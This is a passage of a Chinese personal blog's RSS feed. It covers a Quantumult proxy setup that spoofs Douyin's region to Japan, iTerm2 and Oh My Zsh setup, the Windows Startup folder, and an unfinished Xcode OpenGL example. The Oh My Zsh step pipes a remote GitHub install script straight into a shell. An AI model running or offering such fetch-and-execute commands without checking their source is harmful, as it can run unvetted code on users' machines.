			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;carrier_region=)CN(?=.*) url 307 JP</code>
		</p>
		<p>
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;sys_region=)CN(?=.*) url 307 JP</code>
		</p>
<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;"><br />
</code> 
		<p>
			<br />
		</p>
	</li>
</ol>
<pre lang="(?<=aweme/v1/)playwm" style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;margin-bottom:16px;margin-top:0px;word-wrap:normal;background-color:#F6F8FA;border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;line-height:1.45;overflow:auto;padding:16px;caret-color:#24292E;color:#24292E;-webkit-text-size-adjust:100%;"><code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;background-color:transparent;border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0px;border:0px;word-break:normal;display:inline;line-height:inherit;overflow:visible;word-wrap:normal;"></code></pre>
<ol start="8" style="font-size:16px;white-space:normal;box-sizing:border-box;margin-top:0px;padding-left:2em;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;margin-bottom:0px !important;">
	<li style="box-sizing:border-box;">
		左上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code> 
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">分流</code>--)搜索<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">pstatp.com</code>--)戳进去--)将<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">行为</code>Direct改为Proxy--)开启<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">远程解析TUN连接</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">取消</code>--)左上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code> 
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		添加你的ss/ssr/http/socks/vmess
		<ul style="box-sizing:border-box;margin-bottom:0px;margin-top:0px;padding-left:2em;">
			<li style="box-sizing:border-box;">
				有机场的：<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">订阅</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">加号</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">服务器</code>--)粘你的订阅链接--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code> 
			</li>
			<li style="box-sizing:border-box;margin-top:0.25em;">
				没有机场的：<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">服务器</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">加号/扫二维码</code>--)填写你的代理
				<ul style="box-sizing:border-box;margin-bottom:0px;margin-top:0px;padding-left:2em;">
					<li style="box-sizing:border-box;">
						<a href="https://github.com/cyubuchen/ProxySpider_spys" style="box-sizing:border-box;color:#0366D6;text-decoration:none;">或从这获取免费的socks5代理</a> 
					</li>
				</ul>
			</li>
		</ul>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		前往<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">quantumult</code>的<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">主页</code>--)右上角开启<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">圈</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">Allow</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">指纹/密码</code>--)戳最底端中间的<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">小圈图标</code>以选择你的节点--)抖音愉快
	</li>
</ol>]]></description>
	<pubDate>Sat, 27 Jul 2019 08:51:09 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=61</guid>

</item>
<item>
	<title>iTerm2工具安装教程</title>
	<link>https://www.zuoer.xin/?post=60</link>
	<description><![CDATA[<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>一、软件介绍</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>Mac OS</b><b>自带的终端，用起来虽然有些不太方便，但总体来说还是可以接受的。</b><b><br />
</b><b>终端利器</b><b>iTerm2</b><b>，非常强大也非常的好用。网上已经有很多关于</b><b>iTerm2</b><b>的配置教程，本文再记录下，以便自己后面查阅。</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>二、下载地址</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>iTerm2</b><b>下载地址：</b><b><a href="https://link.jianshu.com/?t=https%3A%2F%2Fwww.iterm2.com%2Fdownloads.html" target="_blank">https://www.iterm2.com/downloads.html</a><br />
</b><b>下载的是压缩文件，解压后直接双击执行程序文件，或者直接将它拖到</b><b> Applications </b><b>目录下。</b><b><br />
</b><b>或者你可以直接使用</b><b>Homebrew</b><b>进行安装：</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>$ brew cask install iterm2</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>三、配置</b><b>iTerm2</b><b>主题</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>iTerm2</b><b>最常用的主题是</b><b>Solarized Dark theme</b><b>。</b><b></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>按</b><b>Command + ,</b><b>快捷</b><b>键</b><b>打开</b><b>iTerm2</b><b>，打开</b><b>iTerm2</b><b>的偏好</b><b>设</b><b>置</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>定位到</b><b>Profiles
     -&gt; Colors -&gt; Color Presets</b><b>路径，</b><b>选择</b><b>Solarized Dark</b><b>主</b><b>题</b><b>。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>四、配置</b><b>Oh My
Zsh</b><b>设置</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>Oh My Zsh</b><b>是对主题的进一步扩展。</b><b><br />
</b><b>下载地址：</b><b><a href="https://link.jianshu.com/?t=https%3A%2F%2Fgithub.com%2Frobbyrussell%2Foh-my-zsh" target="_blank">https://github.com/robbyrussell/oh-my-zsh</a></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>安装</b><b>Oh My Zsh</b><b>工具，使用命令一</b><b>键</b><b>安装</b><b><br />
</b><b>命令：</b><b>sh -c "$(curl -fsSL
     https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"</b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>设置默认</b><b>Shell</b><b>使用</b><b>Oh My Zsh</b><b>配置，</b><b><br />
</b><b>命令：</b><b>$ chsh -s /bin/zsh</b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>3.</b><b>定位到</b><b>~/.oh-my-zsh/themes</b><b>文件</b><b>夹</b><b>下，拷</b><b>贝</b><b>一份</b><b>agnoster.zsh-theme</b><b>并命名</b><b>为</b><b>自己想用的名称以</b><b>.zsh-theme</b><b>后</b><b>缀结</b><b>尾，例如：</b><b>test_custom.zsh-theme</b><b>。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>4.</b><b>打开我</b><b>们</b><b>的</b><b>iTerm2</b><b>，使用</b><b>vim ~/.zshrc</b><b>命令</b><b>编辑</b><b>zsh</b><b>的配置文件</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>5.</b><b>主</b><b>题</b><b>配置修改</b><b>为</b><b>ZSH_THEME="test_custom"</b><b>。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>6.</b><b>重新打开</b><b>iTerm2</b><b>查看效</b><b>果</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>其他主题</b><b><br />
</b><b>你也可以挑选你喜欢的主题，</b><b>Oh My
Zsh</b><b>主题列表：</b><b><a href="https://link.jianshu.com/?t=https%3A%2F%2Fgithub.com%2Frobbyrussell%2Foh-my-zsh%2Fwiki%2Fthemes" target="_blank">https://github.com/robbyrussell/oh-my-zsh/wiki/themes</a></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>五、配置</b><b>&nbsp;Meslo&nbsp;</b><b>字体</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>使用</b><b>agnoster.zsh-theme</b><b>主题，需要</b><b>Meslo</b><b>字体支持，要不然会出现乱码的情况。</b><b><br />
</b><b>字体下载地址：</b><b><a href="https://link.jianshu.com/?t=https%3A%2F%2Fgithub.com%2Fpowerline%2Ffonts%2Fblob%2Fmaster%2FMeslo%2520Slashed%2FMeslo%2520LG%2520M%2520Regular%2520for%2520Powerline.ttf" target="_blank">Meslo LG M Regular for Powerline.ttf</a></b><b>。下载好之后。</b><b></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>直接在</b><b>Mac OS</b><b>中打开下</b><b>载</b><b>的</b><b>.ttf</b><b>文件安装</b><b>Meslo</b><b>字体。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>按</b><b>Command + ,</b><b>快捷</b><b>键</b><b>打开</b><b>iTerm2</b><b>，打开</b><b> Preferences </b><b>配置界面。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>3.</b><b>定位到</b><b>Profiles
     -&gt; Text -&gt; Font -&gt; Chanage Font</b><b>，</b><b>选择</b><b> Meslo LG M Regular for Powerline </b><b>字体。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>六、</b><b>&nbsp;</b><b>声明高亮</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>特殊命令和错误命令，会有高亮显示。</b><b></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>使用</b><b>Homebrew</b><b>命令一</b><b>键</b><b>安装：</b><b>$ brew
     install zsh-syntax-highlighting</b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>打开</b><b>iTerm2</b><b>，</b><b>编辑</b><b>vim ~/.zshrc</b><b>文件</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>3.</b><b>在</b><b>.zshrc</b><b>文件的最后一行增加</b><b>source
     /usr/local/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh</b><b>的配置</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>4.</b><b>source
~/.bash_profile</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>七、</b><b>&nbsp;</b><b>自动建议填充</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>类似</b><b>Xcode</b><b>一样自动弹出命令，方便我们快速的敲命令。</b><b></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>使用命令</b><b>$&nbsp;
<pre class="hljs bash" style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;"><code class="bash" style="box-sizing:border-box;font-family:Menlo, Monaco, Consolas, &quot;color:inherit;background-color:transparent;border-radius:0px;padding:0px;border:none;vertical-align:middle;"><span class="hljs-built_in" style="box-sizing:border-box;color:#E6C07B;">cd</span> ~/.oh-my-zsh/custom/plugins
git <span class="hljs-built_in" style="box-sizing:border-box;color:#E6C07B;">clone</span> git://github.com/zsh-users/zsh-syntax-highlighting.git</code><b style="font-family:&quot;"></b></pre>
</b>
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>打开</b><b>iTerm2</b><b>，</b><b>编辑</b><b>vim ~/.zshrc</b><b>文件，找到</b><b>plugins</b><b>配置。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>3.</b><b>在</b><b>plugins</b><b>配置中增加</b><b>zsh-autosuggestions</b><b>插件。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>4.</b><b>在</b><b>plugins</b><b>配置，再增加</b><b>zsh-syntax-highlighting</b><b>插件。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>注意：有时候因为自动填充的颜色和背景颜色很相似，以至于自动填充没有效果，我们可以手动更改下自动填充的颜色配置，我修改的颜色值为：</b><b>586e75</b><b>，示例：</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>效果：</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>八、</b><b>iTerm2</b><b>隐藏用户名和主机名</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>有时候我们的用户名和主机名太长，比如我的</b><b>daxiong@daxiongMacBook-Pro</b><b>，终端一行显示内容就相对会少很多也不是很好看，下面就通过配置来缩短用户名和主机名。</b><b></b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>1.</b><b>打开我</b><b>们</b><b>的</b><b>iTerm2</b><b>，定位到</b><b>~/.oh-my-zsh/themes</b><b>文件</b><b>夹</b><b>目</b><b>录</b><b>。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>2.</b><b>使用命令</b><b>vim
     ./test_custom.zsh-theme</b><b>来</b><b>编辑</b><b>当前</b><b>设</b><b>置的主</b><b>题</b><b>。</b><b></b> 
	</li>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>3.</b><b>找到</b><b>prompt_segment
     black default</b><b>设置，并将它设置为简短的值</b><b>。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<ul>
	<li class="MsoNormal" style="color:black;text-align:left;">
		<b>4.</b><b>重启</b><b>iTerm2</b><b>，</b><b>查</b><b>看效果。</b><b></b> 
	</li>
</ul>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:18.0pt;">
	<b>SHAPE&nbsp;\* MERGEFORMAT</b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>九、其他配置</b><b></b> 
</p>
<p class="MsoNormal" align="left" style="margin-left:0cm;text-align:left;text-indent:18.0pt;">
	<b>其他配置请移步：</b><b><a href="https://link.jianshu.com/?t=https%3A%2F%2Fwww.cnblogs.com%2Fxishuai%2Fp%2Fmac-iterm2.html" target="_blank">参考博客</a></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<a href="https://blog.biezhi.me/2018/11/build-a-beautiful-mac-terminal-environment.html">https://blog.biezhi.me/2018/11/build-a-beautiful-mac-terminal-environment.html</a>
</p>
<p class="MsoNormal">
	<span></span> 
</p>]]></description>
	<pubDate>Thu, 11 Jul 2019 00:26:16 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=60</guid>

</item>
<item>
	<title>开机自启win10程序</title>
	<link>https://www.zuoer.xin/?post=59</link>
	<description><![CDATA[<p>
	<br />
</p>
<p>
	把软件快捷键放入&nbsp; C:\Users\当前用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&nbsp; 目录下即可
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201907/e1381561995610.png" id="ematt:102"><img src="https://www.zuoer.xin/content/uploadfile/201907/thum-e1381561995610.png" title="点击查看原图" alt="TIM截图20190701233929.png" border="0" width="420" height="181" /></a> 
</p>
<p>
	或者&nbsp;<span style="color:#4D4D4D;font-family:&quot;font-size:16px;text-indent:50px;white-space:normal;background-color:#FFFFFF;">%programdata%\Microsoft\Windows\Start Menu\Programs\Startup</span>
</p>]]></description>
	<pubDate>Mon, 01 Jul 2019 15:37:53 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=59</guid>

</item>
<item>
	<title>xcode openGL配置</title>
	<link>https://www.zuoer.xin/?post=58</link>
	<description><![CDATA[<p>
	<span style="font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;font-size:13px;white-space:normal;">在Xcode下新建一个Command Line Tool项目</span> 
</p>
<p>
	<span style="font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;font-size:13px;white-space:normal;"> </span>
</p>
<p style="margin:10px auto;font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;font-size:13px;white-space:normal;">
	点击Build Phases，Link Binary With Libraries(0 items)
</p>
<div>
	<br />
</div>
<span style="font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;font-size:13px;white-space:normal;">在里面寻找GLUT.framework及OpenGL.framework这两个framework，点击Add</span><br />
<p>
	<br />
</p>
<p>
	<span style="font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;font-size:13px;white-space:normal;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201907/db3a1561982678.png" id="ematt:100"><img src="https://www.zuoer.xin/content/uploadfile/201907/thum-db3a1561982678.png" title="点击查看原图" alt="WX20190701-200418@2x.png" border="0" width="420" height="427" /></a><br />
</span> 
</p>
<p>
	<br />
</p>
<p>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #65798c; background-color: #ffffff}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica; background-color: #ffffff; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #d12f1b; background-color: #ffffff}
p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #000000; background-color: #ffffff}
p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #000000; background-color: #ffffff; min-height: 14.0px}
p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #78492a; background-color: #ffffff}
p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #272ad8; background-color: #ffffff}
p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Menlo; color: #4b21b0; background-color: #ffffff}
span.s1 {color: #78492a}
span.s2 {color: #ad3da4}
span.s3 {color: #000000}
span.s4 {color: #4b21b0}
span.s5 {color: #703daa}
span.s6 {color: #272ad8}
span.s7 {color: #65798c}
span.s8 {color: #2d6469}
</style>
</p>
<p class="p1">
	<i>//</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; </span>main.cpp</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; </span>wifeOpenGl</i> 
</p>
<p class="p1">
	<i>//</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; </span>Created by zuoer on 2019/7/1.</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; </span>Copyright &copy; 2019年 zuoer. All rights reserved.</i> 
</p>
<p class="p1">
	<i>//</i> 
</p>
<p class="p2">
	<br />
</p>
<p class="p1">
	<i>//#include &lt;iostream&gt;</i> 
</p>
<p class="p1">
	<i>//</i> 
</p>
<p class="p1">
	<i>//int main(int argc, const char * argv[]) {</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; &nbsp; </span>// insert code here...</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; &nbsp; </span>std::cout &lt;&lt; "Hello, World!\n";</i> 
</p>
<p class="p1">
	<i>//<span class="Apple-converted-space">&nbsp; &nbsp; </span>return 0;</i> 
</p>
<p class="p1">
	<i>//}</i> 
</p>
<p class="p1">
	<i>//仅用于测试，代码直接往上拷贝，只修改了个头文件</i> 
</p>
<p class="p3">
	<span class="s1">#include</span>&lt;stdio.h&gt;
</p>
<p class="p2">
	<br />
</p>
<p class="p3">
	<span class="s1">#include</span>&lt;GLUT/glut.h&gt;
</p>
<p class="p2">
	<br />
</p>
<p class="p3">
	<span class="s1">#include</span>&lt;OpenGL/gl.h&gt;
</p>
<p class="p2">
	<br />
</p>
<p class="p3">
	<span class="s1">#include</span>&lt;OpenGL/glu.h&gt;
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p1">
	<i>//用于绘制窗口需要的图形</i> 
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	<span class="s2"><b>void</b></span> RenderScene()
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	{
</p>
<p class="p5">
